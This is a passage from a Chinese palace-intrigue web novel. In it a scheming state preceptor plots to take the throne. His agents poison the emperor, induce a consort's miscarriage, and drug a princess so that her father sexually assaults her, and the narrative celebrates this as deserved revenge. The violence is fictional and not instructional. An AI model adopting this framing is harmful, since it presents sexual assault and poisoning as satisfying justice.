“殿下若是想来镇国公府,什么时候都能来。”顾明之也低声回复,他压下心里那点复杂的遗憾,看向满面笑容的父母和祖父,他们都对这门婚事十分满意,而他也知道,公主殿下嫁给了她自己的心上人,这门婚事的确圆满无憾。 与公主府和镇国公府的一片欢欣不同,怀柔宫里碎了一地瓷片,永宁发疯地扔着手边的东西,直到无物可扔才气喘吁吁地停下。 永宁面容扭曲,她突然想,若是自己在容钰出嫁之前毁了她的脸,许怀鹤还会愿意娶她吗? 第54章 第54章许怀鹤竟然为她做到了这…… * 檐角的大红灯笼已经被换下,重新挂了铜铃上去,在料峭的晨风中震颤,发出清脆的声响,从房檐融化滴下来的雪水点点,一不小心就弄湿了路人的肩头。 已是冬末,夜里仍旧凝着寒霜,但冰封的湖面已经有了丝丝裂纹,住在护城河边的百姓取水灌溉,刚翻开的冻土里蜷着提早苏醒的蚯蚓,一切都已经有了春初的迹象,万物即将复苏。 更深露重,公主府里静悄悄的,只有烛台散发着暖色的光晕,青竹和春桃守在外间,春桃愁眉苦脸地小声叹气:“唉,殿下先前身子明明都好好的,太医和郎中都说殿下的底子已经被补足了,怎么又突然病倒了呢?” 青竹摸着手里的白玉簪子,这是她第一次来到公主殿下身边时,公主殿下赏赐给她的,她只戴过一两回就舍不得再戴出门,只放在匣子里面好好藏着,这会儿心神不宁,又忍不住拿了出来,放在手里摩挲。 听到春桃的话,青竹回神,她勉强安慰道:“兴许是殿下那日在御书房内受惊了,又吹了冷风,所以才病倒了。你也别太过忧心,国师大人都说殿下命格高贵,殿下肯定很快就能好起来的。” 青竹说着,攥紧了手心,这些日子她一直提心吊胆,生怕国师大人会突然对皇帝动手篡位,不,那不叫篡位,那是国师大人取回本就属于他的皇位,登基称帝。 但她始终放心不下公主殿下,担心公主殿下会承受不住这样的变故,病情又一次加重。 宫变哪里有不流血的?更别提镇国公此时还在京中,又没有投靠国师大人,必定会出兵抵御,国师大人想要夺位,免不了和镇国公有一场恶战,公主殿下若是在变故当中接连失去了父亲和舅舅,这让公主殿下怎么办? 可是国师大人夺位在所难免,不过是迟早的事,届时公主殿下又如何自处,又如何看待国师大人?若是殿下知道国师大人一直在欺瞒她,是否还能像之前一样交付真心,两人还能做成恩爱夫妻吗? 一个又一个问题接连向她砸来,之前她刻意逃避的,不愿面对的,此刻都被摆在了明面上,逼着她去看清,青竹禁不住微微颤抖起来,她握住自己的手,找借口起身,把白玉簪子放回去,又掀了帘子,进了里间,来到拔步床边,为公主殿下换了额头上的冰帕降温。 她坐在床边,静静地看着公主殿下的睡颜,哪怕是在病中,公主殿下未施任何粉黛,也是极美的,容颜秾丽,唇色和脸色都有些发白,更添几分病弱的令人怜爱的气质,让人忍不住想要为她付出一切。 青竹只能闭上眼睛,在内心祈盼,如果这世上真有神佛,三清祖师真能显灵,那就请让公主殿下早些好起来,让如今的陛下自愿退位,让位给国师大人,不要动一兵一刃,不让任何人流血流泪,让公主殿下安安心心地嫁给如意郎君,让公主殿下和国师大人长长久久。 睡梦中的容钰并不安稳,她的确是因为在御书房内惊惧交加,离宫的时候又受了寒风,这才病倒。 或许是之前一直紧绷着,担心会重蹈覆辙上一世的命运,救不了自己,也救不了任何人,而如今心中的巨石落下,陡然放松下来,她的身体却支撑不住了,病来如山倒,病去如抽丝,又和往年的冬日一样倒在了床上。 她生病的事并没有对外声张,那日御书房里,父皇想让她去和亲的话也未向外说半个字,连镇国公府都没有告诉,担心舅舅和外祖父多想。 下人们按照她的话,关起门来,一边照顾她,一边忙碌地准备地嫁娶需要的物件,嫁妆准备了一抬又一抬,绣娘们连夜赶制着凤冠霞帔嫁衣,每一块布料都价值千金。 床榻上,容钰微微皱了皱眉,梦境中的场景似乎在不断变化,一会儿她仿佛置身冰天雪地之中,却只身穿单衣,一会儿又仿佛披着极厚的棉袄,站在三伏天的烈阳下,骤冷骤热,弄得她头晕眼花,身体酸软,差点跌倒在地。 而在下一瞬,她的身体又忽然一轻,飘飞了起来,这种感觉太过熟悉,容钰勉强睁开眼,发现自己果然又如同上一世死后那样,魂魄离体,在这不知是幻境还是梦境之中飘荡。 容钰一惊,疑心自己是不是又死了一回,没能扛住来势汹汹的风寒病死了,而眼前两名小宫女的对话却吸引了她的注意,让她暂时没能继续胡思乱想。 “陛下,陛下真的疯了!”粉衣小宫女压低声音说话,满眼都是惊恐,身体打着摆子,害怕到了极点,“你看到了吗?他将先朝皇帝锁在地牢里用鞭子抽打,还用刀子切肉,好多血,好多血……那再怎么也是先朝的皇帝,他怎么敢把那位做成人彘的?” 容钰愣愣地,随着小宫女的视线看向另外一名绿衣宫女,那宫女也害怕得浑身颤抖,如同秋风落叶:“陛下说了,先朝皇帝残暴不仁,冷血无情,他要用先朝皇帝的血肉祭奠昭华公主殿下,你我装作没看见就是了,千万别惹怒了陛下!” 从对方的口中听到自己的名号,容钰迟钝的脑子终于缓缓转动起来,忽地意识到这便是上一世她死后发生的事情。 许怀鹤……将父皇做成了人彘来祭奠她? 反应过来的容钰冷冷地打了一个哆嗦,有些不敢置信许怀鹤居然是这样暴戾残忍的人,她紧紧抱住自己,却从自己透明的魂魄里穿了过去,摸了一手空,无措又茫然地站在原地,继续听着两名小宫女对话。 “这马上就七七四十九天了,陛下为昭华公主殿下设的招魂阵也快成了吧?”粉衣小宫女嘟囔道,“也不知道招魂阵究竟能不能起作用。” 粉衣小宫女继续道:“昭华公主的尸身到现在都还未下葬,陛下一直用冰堆着停在殿内,找了十几个高深的道士,耗费了许多金银,说这招魂阵能将昭华公主的魂召回来,让人起死复生,真是闻所未闻。” 绿衣小宫女拉了拉她的袖子:“我觉得陛下就是失心疯了,让人起死回生这种事怎么可能成功?恐怕只有仙人才能做到。” 容钰已经震惊到无法思索,她呆呆地注视着两名小宫女既害怕又兴奋的面容,原本轻飘飘的魂魄犹如千斤重,将她坠在原地不能挪动,浑身都像结了冰。 许怀鹤竟然为她做到了这一步,许怀鹤是真疯了吗? 可是上一世的她和许怀鹤并无交集,许怀鹤更不可能像这一世一样爱她至深,那为什么许怀鹤要为她设招魂阵,耗费财力,物力,人力,求她死而复生?许怀鹤连先朝皇帝都敢做成人彘,她一个已死的先朝公主,对许怀鹤有什么重要的? 粉衣宫女回道:“你还真别说,陛下以前不是国师大人吗?据说修为极高,练的一手好丹药,指不定就能让昭华公主起死复生呢。” 她顿了顿:“不过朝中怨声载道,都觉得陛下此举不妥,有失理智,觉得陛下是在胡闹,想让陛下撤了招魂阵,但陛下态度强硬,谁敢入殿就杀谁,坚决不让任何人靠近昭华公主殿下的尸身。” 绿衣宫女感叹道:“这么看来,传言竟也是真的,陛下当真心悦昭华公主殿下,可惜……” 绿衣宫女突然想到了什么,她问:“不过,既然陛下这么爱昭华公主殿下,那当初为何不做昭华公主殿下的驸马,却眼睁睁地看着昭华公主殿下被送去漠北和亲呢?” 那粉衣宫女似乎是在宫里待的更久些,阅历也更深,知道的更多,解释道:“这你就有所不知了,当时陛下还是国师大人,黄河突发水患,国师大人被派去治水,搭建仙台请上天止雨,而大雨不止,国师大人被困在了山中一月有余,等国师大人脱困,昭华公主殿下已经被送去漠北和亲,死在和亲路上了。” 绿衣宫女叹气:“原来是这样,那还真是可惜,若是昭华公主殿下能晚一点被送去和亲,或是陛下当初能早一点脱困,想必昭华公主殿下也不会病死,陛下也不会像如今这样偏执。” 容钰依旧呆呆地飘在原地,她想,原来是这样,原来上一世她被软禁在公主府里时,许怀鹤也被困在另一处地方,和她一样无法脱身,所以上一世的许怀鹤没来得及救她。 原来上一世的许怀鹤就已经深爱自己,而自己却一直不曾发觉许怀鹤的心意,是许怀鹤隐藏的太好,是许怀鹤不曾开口,而自己又以为许怀鹤送来药膏不过和其他人一样讨好,所以阴差阳错,所以就此错过。 粉衣宫女羡慕地叹了口气:“镇国公府也真是好命,明明都要被抄家流放了,陛下却念在旧情,念在他们往日有功,光复了镇国公府,还给了镇国公嫡子领兵赴战,将功赎罪的机会。” “要是昭华公主殿下还在,镇国公府指不定怎么光辉呢,”粉衣宫女低低道,“陛下那么爱昭华公主殿下,肯定是要娶公主殿下做皇后的,那镇国公府就出了两个皇后了,可惜……” 绿衣宫女:“说起来,我还不曾见识过昭华公主殿下惊人的美貌呢。” 粉衣宫女目露神往:“我也只见过一次,昭华公主殿下真像仙女一样,可惜……” 可惜,可惜,字字句句都是可惜。 耳边嗡嗡作响,容钰被这两个字搅得头晕,两眼一黑,失去了意识。 第55章 第55章让她们死的更快。 * 这场雨来的又急又大,今夜注定是不能继续赶路了,闻锐达脱了斗笠,让手下和随从们在就近的驿站休息落脚。 他接过驿站小吏殷勤递来的热茶,一碗热水下肚,终于觉得身体暖和了些许,沉沉呼了一口气,又禁不住来到窗边,将窗户推开一寸,遥遥望向京城的方向,却只看到了一片呼啸阴暗。 他奉陛下之命下江南查案的那日,心中有诸多不舍,拜别了老师和师兄们,还没有出京城,刚到京郊的驿站,就被人拦下,将昭华公主殿下的口信带给了他。 那一刻,他原本已经成了死灰的心再一次跳动起来,闻锐达拽紧缰绳,心想公主殿下至少是惦念他的,是关心他的,还特意让人来传话。 自己并不比许怀鹤差,是许怀鹤抢了先机,又用了小人手段,才蒙骗了公主殿下,哄去了公主殿下的芳心,不过没关系,自己终有一日会亲手揭穿许怀鹤的小人行径,公主殿下也终会看清许怀鹤虚伪的面目。 他等得起。 可是没等他心潮澎湃多久,在离开京城后,他就在下一处休息的地方,听说了昭华公主殿下即将和国师许怀鹤大婚的消息。 闻锐达有一瞬间的惘然,甚至怀疑是自己听错了,路人却都津津乐道这件事,说那美若天仙的昭华公主殿下和恍如谪仙下凡的国师大人十分相配,是一对神仙眷侣,郎才女貌,就连钦天监都说了,他们的命格八字相辅相和,能让大夏国运昌盛,是天生一对。 听到钦天监,还有什么命格之说,闻锐达第一反应便是许怀鹤又耍了什么手段,捏造了八字,逼迫钦天监说谎,又胁迫了公主殿下,才逼得公主殿下不得不嫁给他,让婚期如此迅速。 他怒而拍案起身,话到嘴边,却又被他无力地咽下。 人人都道许怀鹤有君子之风,是谪仙下凡,只有他知道许怀鹤此人有多卑劣,可他拿不出证据,斥责许怀鹤的话都像是污蔑,旁人也不会信他,他更无力阻止公主殿下和许怀鹤的大婚,他如今要下江南任职,连京城都回不去。 而此刻,闻锐达更加心神不宁,总觉得京城即将有什么大事发生,他向来相信自己的直觉,纵然身份不合适,也在白日写了一封信,让人送回京城,送到昭华公主殿下手里,再次提醒昭华公主殿下务必要小心许怀鹤那个小人。 但闻锐达不知道的是,他那封信并没能送到容钰的手中,有了上一次的经历,容钰身边的暗桩更加小心谨慎,闻锐达的信刚进公主府就被拦了下来,没有透露出一丝消息,就送到了许怀鹤手中。 国师府内,许怀鹤坐在桌案前,手里拿着沾了泥土和灰尘,来自闻锐达的那封信,上面的墨迹被雨水都冲得有些模糊,但依旧能看出笔画锋利,当然遣词造句也很尖锐,几乎每一句都在骂他。 但许怀鹤并未生气,他轻轻地笑了一声,这封信在他看来,不过就是落败者的挽尊而已,闻锐达输的彻底。 既然是输家,那这封信也就没有必要再送到公主殿下面前,让公主殿下多想又担心了,许怀鹤冷冷抬眼,随手将信连着信封一起扔到了烛台上,信封立刻被火苗卷席,变成了黑色的灰烬,飘飘忽落在地上。 “公主殿下如何了?”眼看着信被烧了个干净,许怀鹤这才偏头,淡淡看向跪在一旁的下属。 仅仅是被看了一眼,下属的额头上就冒了一层细细的冷汗,国师大人,不,未来的天子身上的威严越来越重了,下属绷紧心神,连忙回道:“回大人的话,您派人送去的药已经煎好,喂公主殿下喝下了,但昭华公主殿下还在昏睡,高烧不退。” 许怀鹤微微皱眉,思索着要不要亲自去公主府一趟。 大夏习俗,在婚期前的半月内,男女双方都不得见面,否则寓意不好,夫妻难以长久,许怀鹤本来并不相信这些,当昭华公主府上的桂嬷嬷几次提醒他,防他和防贼一样,许怀鹤又不得不改变想法。 他顿了顿:“若是明日公主殿下依旧高烧不退,就换一副方子再煎药。” 下属立刻点头:“是。” “大人,”下属思索了一下,继续道,“镇国公那边,我们的探子打听到镇国公和前左相最近有过一次密谈,言语之间都是在为镇国公以后做打算,觉得如今的陛下并不可靠,那大人,您考虑将镇国公收入麾下吗?” 许怀鹤并未回答下属的问题,只是轻飘飘地看了他一眼,下属立刻低头,意识到是自己多言,冷汗又刷地冒了出来。 许怀鹤收回视线,转而问起了另外一件事:“怀柔宫那边怎么样?” “回大人,暗桩已经将麝香融在怀柔宫的各个角落,香炉里面也铺了一层,绝对不会被察觉,皇贵妃小产之后,太医把脉,说皇贵妃此生都 不会再有孕了。”下属抖了抖,“皇贵妃想瞒下此事,但没能瞒住,陛下已经分心在了其他嫔妃身上。” 一个生不出孩子的宠妃,再得宠又能怎么样?没有皇子傍身,容颜终有衰老的一天,当皇帝的目光不再落在她身上,而是看向更年轻,更貌美的妃嫔,皇贵妃又该怎么办呢? 后宫之中,嗅觉最为敏锐,皇贵妃一旦失宠,那些她之前算计过的,陷害过的妃嫔们必定联起手来报复她。 而陈家人如今被富贵迷花了眼,在京中跋扈横行,得罪了太多人,也风光不了多久,皇贵妃一旦失势,最先倒霉的就是他们,最先被开刀的,也是他们。 更别提烂了脸,也失去了才女名声的永宁公主,已经掀不起什么风浪,更找不到什么好的驸马做靠山,等闻锐达那个愣头青从江南回来后,必定会将永宁公主杀害王雪莹的证据也呈上去,届时,永宁公主就彻底翻不了身了。 怀柔宫以后只会过的越来越惨,国师大人只是略微出手,就能将她们打入地狱之中,为昭华公主出气。 许怀鹤对这个结果还算满意,他摸着手中剑柄上的花型珍珠,指尖轻柔地拂过,像调情一般,说出的话语却带着彻骨的寒意和杀意:“再送她们一程吧。” 让她们死的更快。 别以为他不知道永宁公主最近在算计什么,一边向国师府频频示好,一边又向公主府递帖子,想约昭华公主殿下出门,做些手脚,陷害殿下。 他看着那些怀柔宫送来的东西都做作呕,直接扔进了炼丹炉里,再加了些毒药,做成养气丹送去皇宫中,冷眼看着狗皇帝大快朵颐。 永宁公主不是想要男人吗?好啊,那就给她。 怀柔宫内,永宁窝火极了,她放下身段送去国师府的东西一样都没回信,许怀鹤就像没收到她送的那些表露情意的诗词字画一样,她后面写的越来越露骨,越来越直白,对方也没有丝毫表现,莫非是看不起她?许怀鹤怎么敢?! 还有容钰,永宁气得又摔了一只杯子,她明明都已经想了无数个法子,能毁掉容钰那张可恨的脸,让容钰变得比自己还要丑陋,让许怀鹤不愿意娶容钰,可偏偏容钰在这个节骨眼上闭门不出,关起门来,一心一意准备出嫁,她连下手的机会都没有。 还有她之前安插进公主府里的人都被清了出来,也不知容钰是发现了,还是无意处置了那些奴才,自己现在手边无人可用,公主府就像一块铁桶,想插手都插不进去。 怀柔宫的另一边,皇贵妃沐浴完,由宫女为她涂抹香膏,这瓶香膏里面掺了特制的迷情香,能让男人性致大发,再加上从国师大人那里要来的易孕丹,皇贵妃咬唇,决定最后搏一搏。 她已经收买了在皇上身边伺候的小太监,皇上也答应她,今晚会过来怀柔宫陪她安眠,如今陛下对她还有情,对她还怀有愧疚,她必须得在陛下分心给其他女人之前抓住机会,尽量让自己被多翻几次牌子,再怀上龙胎。 同一时刻,怀柔宫的另一边,永宁终于发完了脾气,气喘吁吁地坐下,在永宁身旁伺候的小宫女低头,她已经得到了国师大人的消息,国师大人的计谋阴毒,但她再欢喜不过,皇贵妃和永宁公主这两个贱人,就该被那样折磨! 小宫女遮住嘴角越来越深的笑意,将迷神药加进了永宁公主手边的茶水里,假装诚惶诚恐地递过去。 永宁公主正在气头上,看也没看就一口饮下,没过几息,双眼就迷糊起来,皱着眉抓住小宫女的手:“扶本宫去休息。” “殿下稍等,”小宫女已经掩饰不住脸上的笑意,她轻轻地贴着永宁的耳侧,“奴婢这就送你。” 再等等,陛下还没来呢。 小宫女扶着晕乎乎的永宁进了外间,将永宁随手扔在床榻上,又去了旁边的铜炉,往里面加了催情香,静静点燃。 这一味催情香是国师大人特制的,会让男子失去理智,分不清眼前的人是谁,而皇贵妃一向风情,喜欢用各种法子来引诱陛下,有时候在外间都只穿一层纱衣,陛下尝过一次刺激后,就喜欢不让下人通报,直接进外间,吓榻上的美人一跳,听美人娇嗔。 小宫女吞下解药,守在外门,几乎忍不住要笑出声来,色急的皇帝也没让她等多久,就带着大太监进了怀柔宫,看到她要俯身行礼,果然伸出手制止了她,不许她开口,横肉布满的脸带着笑,推门走了进去。 听着里面衣物被撕开的声音,还有暧昧的叫声,小宫女笑得几乎直不起腰,她蹲在原地笑出了眼泪,这才摇摇晃晃地起身,快步冲向了皇贵妃所在的浴房,大声叫着:“娘娘,娘娘,不好了,陛下他……陛下一时糊涂,误把永宁公主殿下当成了您,宠幸了!” “宠幸”两个字被她咬的很重,但此刻没有人在意她的语气,已经被她口里的话惊得肝胆俱裂,皇贵妃眼前一黑,差点又一次滑倒在地,她一把抓住小宫女的领子,将人拖到面前:“你说什么?!” 小宫女强忍着狂笑,又将刚才的话复述了一遍,因为忍笑浑身都在抖,而在别人看来更像是害怕:“娘娘,奴婢想提醒下的,但陛下不许奴婢说话。奴婢以为陛下进了屋,发现塌上的人并非是您便会出来,谁知奴婢在外等了半炷香,陛下都没……还有里面的声音……” 在晕倒的前一刻,皇贵妃拼尽全身力气吼道:“快去把他们分开!不要让消息传出怀柔宫!” 第56章 第56章陛下中风了! 窗外的雪已经停了,但寒风依旧刺骨,怀柔宫内,下人们个个心惊胆颤,深深低着头,噤若寒蝉。 荒谬,这也太荒谬了! 他们依旧不敢置信,在怀柔宫内居然发生了这样大的丑事,陛下居然和亲生女儿永宁公主做出了那档子事! 这可是皇家丑闻,更是不能对外泄露一丝一毫的秘闻,而他们这些知情人恐怕都会遭殃,若是皇帝心狠,他们全都死在今夜也不是没有可能。 皇贵妃支撑不住,已经晕了过去,到现在都还没能醒来,她身的大宫女也吓得半死,但她知道自己现在不能乱,要是自己再撑不住,怀柔宫就真的要完了。 大宫女脚步虚浮,强撑着指挥起了宫人们,去大太监面前低声说了情况,一边说一边打哆嗦。 大太监本来只守在门外,他原先还想着怎么守门的小宫女突然害怕地跑了,正想进门去看一看,又害怕扰了皇上兴致,这会儿听到大宫女的话,他也差点两眼一黑当场晕过去,身子都歪了一下,撑着门框才没倒下去。 “先,先进屋,把永宁公主殿下送出来!”大太监挥手,额头上冒了一层冷汗,后背也瞬间被浸湿,“快去!” 大宫女立刻让其他宫女和太监进屋,没敢惊动精力散完的皇帝,只将浑身是印记,已经破了身的永宁公主抬起,手忙脚乱地为她穿好衣物,送入浴房清洗身子。 皇帝的内里早就被掏空了,迷情香的药效散完,他也从精力旺盛的毛头小子变回那个垂垂老矣,肥胖不堪的中年男人,享受完美人就呼呼大睡,鼾声震天,大太监不敢吵醒他,守在床边不停地踱步,思考着这到底要怎么办。 大太监的目光落在跪在一旁,被大宫女扇了好几个耳光,侧脸红肿的小宫女身上,他记得就是这个小宫女在守门,又突然跑出去,最先发现不对。 今夜的事说到底,就是陛下一时糊涂,没能分清皇贵妃娘娘和永宁公主殿下,但主子怎么会做错事呢?哪怕天大的过错,也只能由下人来承担,这个小宫女多半是活不过今晚了。 小宫女当然也知道,自己今夜多半会被一条白绫或者一杯毒酒赐死,但她毫不在乎,从她答应做国师大人的暗桩,进入怀柔宫起,她就已经决定拼上这条命为姐姐报仇。 她能做的有限,下毒会被贵妃娘娘身边精通医术的大宫女察觉,之前害皇贵妃小产,就已经是她能做的极限,还差点就被其他人发现了痕迹,是国师大人出手扫清了尾巴。 她内心感激,为了帮国师大人,还擅自暗暗接触了大太监最信任的徒弟,已经将对方迷的倾心于她,说愿意为她在宫中养老,等他出人头地,就将她从怀柔宫里捞出来,寻个管事姑姑的身份。 只可惜,自己是多半等不到了。 浴房内,晕晕沉沉的 永宁被热水一泼,慢慢睁开眼,清醒了过来。她先是迷茫了一瞬,不知自己为何会从床榻上来到浴房中,但下一刻,脑海中飞速涌上方才的回忆。 男人胖而沉重的身躯死死压着她,一双手撕扯着衣物,自己浑身无力,挣扎在对方看来却是欲拒还迎,更加兴奋,被对方迫不及待地抓住亲吻。 后面的事像是噩梦,永宁忍不住尖叫出声,呕吐了一地,宫女们又手忙脚乱地将她扶进另一个浴桶里,而永宁看着自己身上红色和青色交加的痕迹,一边狠狠用力搓着自己身上的红痕,一边发疯一样挥着手臂,尖叫道:“滚,滚啊,滚啊啊啊啊啊!!” 她的叫声并没有吵醒沉睡中的帝王,但惊醒了晕厥过去的皇贵妃,皇贵妃疲惫地起身,满脸倦容,已经不再年轻的脸上皱纹更深,仿佛一瞬就憔悴苍老了十几岁。 她披着厚衣来到浴房,看着一地狼藉,偏了偏头,走到永宁,面前静静看着这个让她又失望,又心疼的女儿。 永宁已经接近疯癫,但在看到皇贵妃的那一瞬间,眼睛有一瞬间的清明,泪水瞬间充满了她的眼眶,委屈地喊了一声“母妃”,想让皇贵妃过来,像以往一样牵着她的手,轻声说没事的,母妃会为她摆平一切。 但她得到的,却是皇贵妃沉痛又藏着厌恶的凝视。 接二连三的打击让皇贵妃的心态也悄然发生了变化,她的理智明白自己这样不对,但她就是控制不住,自己原本疼爱的女儿在她眼中,也变成了后宫里和她抢陛下宠爱的可恨女人。 纵使荒谬,但也未尝不可能,她知道陛下能做出来这样的事——对外声称永宁病逝,而后宫里却悄然多了一个身份不明的妃嫔,甚至这样禁忌的戏码对于陛下来说更刺激。 她很清楚陛下喜欢什么,因为自己当年也是这么走过来的,自己那时不过小官员的女儿,就敢趁先皇后怀孕,只隔着一层屏风,和陛下当面调情,暗通曲款,被陛下召入宫宠爱,这才一步一步爬上了皇贵妃的位置。 可是,自己精心准备了那么多,如今却全都被永宁毁了! 是,陛下睡了她的女儿,今后肯定会对她更加愧疚,可是这份愧疚和她要的愧疚不同,陛下日后还会踏足怀柔宫吗?他一看到怀柔宫,恐怕就会想起今夜的龌龊事,不愿面对自己,那自己还有得宠的机会吗?! 怀柔宫中到处都散发着不祥之兆,死气沉沉,气氛一片冷凝,而此刻的镇国公府内,沉重也不遑多让,镇国公一脸怒容,眼中杀意迸发:“许怀鹤,你可知道你在说些什么?” 许怀鹤的造访太突然,虽然不知其来意,但镇国公念着许怀鹤即将成为外甥女的驸马,决定好生招待对方,可对方的表现却更像是一个不速之客。 哪怕被剑尖指着,许怀鹤依旧不慌不忙,镇定非常,他甚至有心情淡笑:“镇国公何必对在下动怒?国公爷的剑,要砍的可另有其人。” “国公爷若是不信在下说的,那就请看一看这些吧。”许怀鹤说着,将手里的木盒放在桌上,又从袖中取出一本宗卷,指尖轻轻一推,便推到了对面的镇国公面前,“是与不是,相信国公爷自有判断。” 镇国公半惊半怒,心中依旧不可置信,但手却不可控制地向前,打开了面前的宗卷,一字一句地看了起来,越看越心凉,越看越心痛,越看便越愤怒。 许怀鹤微微偏头,避开剑尖,走到书房的另一侧,随手抽出一本杂记翻看了起来,一边看一边淡淡说道:“在下无意中发现昭华公主殿下所用的螺子黛有铅粉,便向公主殿下要了过来,拿回观星楼炼化,不巧发现其中还有其他的毒粉,量虽不多,但长期用起来,依旧会影响寿命,若是再搭配补药,那便是催命的毒。” “谁有这样大的胆子,敢对昭华公主殿下用毒?”许怀鹤轻飘飘地问了一句,没等镇国公回答,也不需要镇国公回答,自顾自地继续道,“当然是怀柔宫的那位,以及……陛下了。” 镇国公猛地瞪大眼睛,心中一痛,依旧不敢相信,但许怀鹤下面的话又将他砸了个踉跄,手里看了一半的宗卷也差点掉在地上: “更巧的是,在下又碰巧发现,先皇后似乎也爱用这类进贡的螺子黛。在下用了些办法,取了先皇后用过的螺子黛出来,里面果然也有这样的毒,物证均放在木盒里,镇国公大可打开看一看。” 镇国公抖着手,放下写满了证词的宗卷,又打开小巧的木匣,里面放着两只螺子黛,一左一右,左边那只明显更陈旧些,上面镶嵌的金丝都有些发灰了,但他一眼便能看出这就是妹妹爱用的物件,甚至如今镇国公府中,都还留有几只妹妹带过来的。 “进贡的东西经过层层筛选,皇贵妃娘娘想下毒,必然逃不过陛下的眼睛,而陛下自然也默许了,”许怀鹤冷冷吐出事实,“他还特意配合皇贵妃娘娘,大肆给先皇后和昭华公主殿下送补品,明明是上好的补品,却越吃越虚弱,越吃越病重,国公爷如今明白这到底是为什么了吗?” 明白了,他都明白了。 镇国公颓然丢了长剑,跌坐在椅子上,愣愣捂着头,以往想不通的,在此刻一切疑问迎然而解。 原来是这样,原来陛下早就存了杀死妹妹和钰儿的心思,虎毒不食子,在陛下心中,妹妹是他的妻吗?钰儿是他的女儿,是他的亲生骨肉吗?镇国公府又到底算什么? “你敢说这些,”良久,镇国公声音沙哑地开口,两只眼睛像利剑一样看向许怀鹤,“就不怕我忠心陛下,当场把你杀了吗?” 许怀鹤竟然又一次笑了出来,清高的君子皮囊被他薄薄撕开一层,不屑地回道:“国公何必骗自己呢?当今皇帝冷血无情,昏庸无能,配不上国公爷这样的将才良臣,国公不如另寻明主。” 镇国公的心重重往下一沉,随即轻飘飘提了起来,电光火石间,一切都连接了起来,他恍然大悟,眯了眯眼睛看向许怀鹤,眼中多了审视和惊疑,沉声问道:“你想造反?你想借钰儿胁迫我……” “首先,”许怀鹤淡然打断镇国公的怀疑,“我并没有造反,镇国公当年因为当今皇帝仅一分的旁支皇室血脉,就心甘情愿助他上位,而我是先朝太子遗孤,正统皇室血脉,又怎么算得上是造反呢?不过拿回本就属于我的皇位罢了。” 镇国公原本就跌坐在椅子上,这会儿更是往下一滑,差点坐都坐不稳了,他双手颤抖,又一次震惊,心口狂跳:“你,你当真……先朝太子居然真的有血脉留下……” 许怀鹤等镇国公平静下来,冷静地继续道:“其次,我并没有借昭华公主殿下胁迫国公,恰恰相反,若不是昭华公主殿下和镇国公府关系密切,我早就对镇国公府动手了。” 这番话可毫不客气,镇国公对上许怀鹤冷冽的眼睛,便瞬间意识到许怀鹤说的话都是真的,若不是顾忌着钰儿,许怀鹤自有办法让原本就在悬崖的镇国公府跌入深渊。 心中涌起一股无力感,镇国公沉沉闭眼,他叹了口气,心中闪过诸多想法,最后尘埃落 定,妥协道:“你需要我做什么?” 许怀鹤轻轻笑了笑,并没有着急开口,而是看向了书房门口,镇国公有些不明所以地抬眼,正想问许怀鹤是什么意思,就听到外面传来了急促的脚步声。 顾明之也顾不得其他,一把推开门,急道:“陛下中风了!” 第57章 第57章恭迎新帝即位! 怀柔宫内,耗尽力气昏睡过去的皇帝并没有休息多久,长期食用带毒的养气丹和迷情香的作用让他口干舌燥,胸闷气短,不过片刻就醒过来,支使下人为他端茶倒水。 大太监摸了摸还在脖子上的脑袋,胆战心惊地迈着小碎步走过去,一边为皇帝弯腰端上茶,一边低声将刚才发生的事委婉地说了出来。 但即便他的言辞再委婉,也掩盖不住这肮脏的事实,皇帝当场打翻了茶水,他伸手指着大太监,喉咙发出“嗬嗬”的声音,但一句完整的话都说不出来,浑身不断颤抖,连带着脸上的肥肉也跟着颤动,两眼翻白,直愣愣地倒回了床榻上,又一次晕死了过去。 大太监急得又一个踉跄,高声让人去喊太医过来,怀柔宫里乱成一团,而小宫女则悄悄离开了永宁公主的身侧,来到了外房,将已经燃尽的迷情香的香灰取了出来,又转身去浴房,“好心”帮忙倾倒用完的热水,而那香灰被水一冲,瞬间没了痕迹。 太医匆匆赶来,诊脉之后,脸上的神情比上一次皇帝中毒时还凝重,他的声音也在颤抖,原本就年迈的身躯此刻更是被重山压垮了一样:“陛下,中风了!” 中风被誉为四大顽疾之首,皇帝的身体里本来就隐藏着积累的毒素,上次急火攻心而晕厥,毒素已经爆发过一次,这次更是来势汹汹,反扑严重。 哪怕御医已经用最快的速度开了温胆汤合大承气汤,给皇帝灌下,又配合针灸,让皇帝勉强清醒了过来,但醒后的皇帝状况却不容乐观。 他四肢僵硬,无法挪动,已是瘫痪的症状,最糟糕的是,他连声音都无法发出,只能瞪着一双充满血丝眼睛,无力愤怒地看着周遭的一切。 太医院的其他太医赶来,却通通束手无策,之前陛下中毒的事情可以暂时瞒住,但如今中风,瞒得了一时,瞒不了一世,恐怕明日就会闹得满城皆知,一国之君失去了行动力和说话的能力,又没有可以主持大局的皇子…… 太医们完全不敢深想,只能焦急地去了外面,不停商讨着该用什么药,用什么法子才能让陛下恢复如常。 大太监努力死死捂住消息,却不知许怀鹤早已让暗桩把皇帝和永宁公主的龌龊事,连同皇帝中风瘫痪的事一同传出了皇宫,飞到了有心人的耳朵里,顿时人心浮动,已经有人准备入宫“探望”皇帝了。 听到顾明之带来的消息,镇国公惊得直接从椅子上站了起来,他双唇颤抖,下意识地看向了站在一侧的许怀鹤,对方的脸上依旧带着云淡风轻的笑,漆黑的眼眸中仿佛有深不见底的漩涡,只看一眼就让人心惊。 许怀鹤刚看完杂记的第一篇,觉得没什么意思,作者见识不多,言语间却尽是自得和夸耀,觉得自己行万里路,便是读了万卷书,无聊地丢开,恰好对上镇国公的视线。 他彬彬有礼地勾起唇角,对方的惊讶在他的意料之中,而顾明之带来的消息也在他的算计之内,皇帝体内的毒还不至于让皇帝马上就死,但若是配上急火攻心,却极有可能瘫痪中风。 他也并不想老皇帝在这个节骨眼上死了,一国失君,举国守丧三年,他和昭华公主殿下的婚期也会被耽误,所以老皇帝还得再活一段时间,至少得等他和昭华公主殿下完婚后再去死。 镇国公并不知道许怀鹤连这件事都算计好了,他惊疑地沉默着,心想真的有这么巧的事吗? 许怀鹤刚登门拜访,向他说了惊天的秘密,他才得知了许怀鹤是先朝太子的遗留血脉,后脚陛下就中风瘫痪,口不能言,手不能动? 内心纵然有诸多想法,充满了怀疑,但是此刻镇国公又能怎么办呢?难道要当面质问许怀鹤,这位即将登基的新帝吗? 事已至此,镇国公想明白了大半,许怀鹤今夜突然上门拜访,交心将他拉拢,恩威并施,而自己根本没有拒绝的余地,如今陛下中风的消息更是一剂猛药,让他再也不能动摇,只能完全站在许怀鹤这一边。 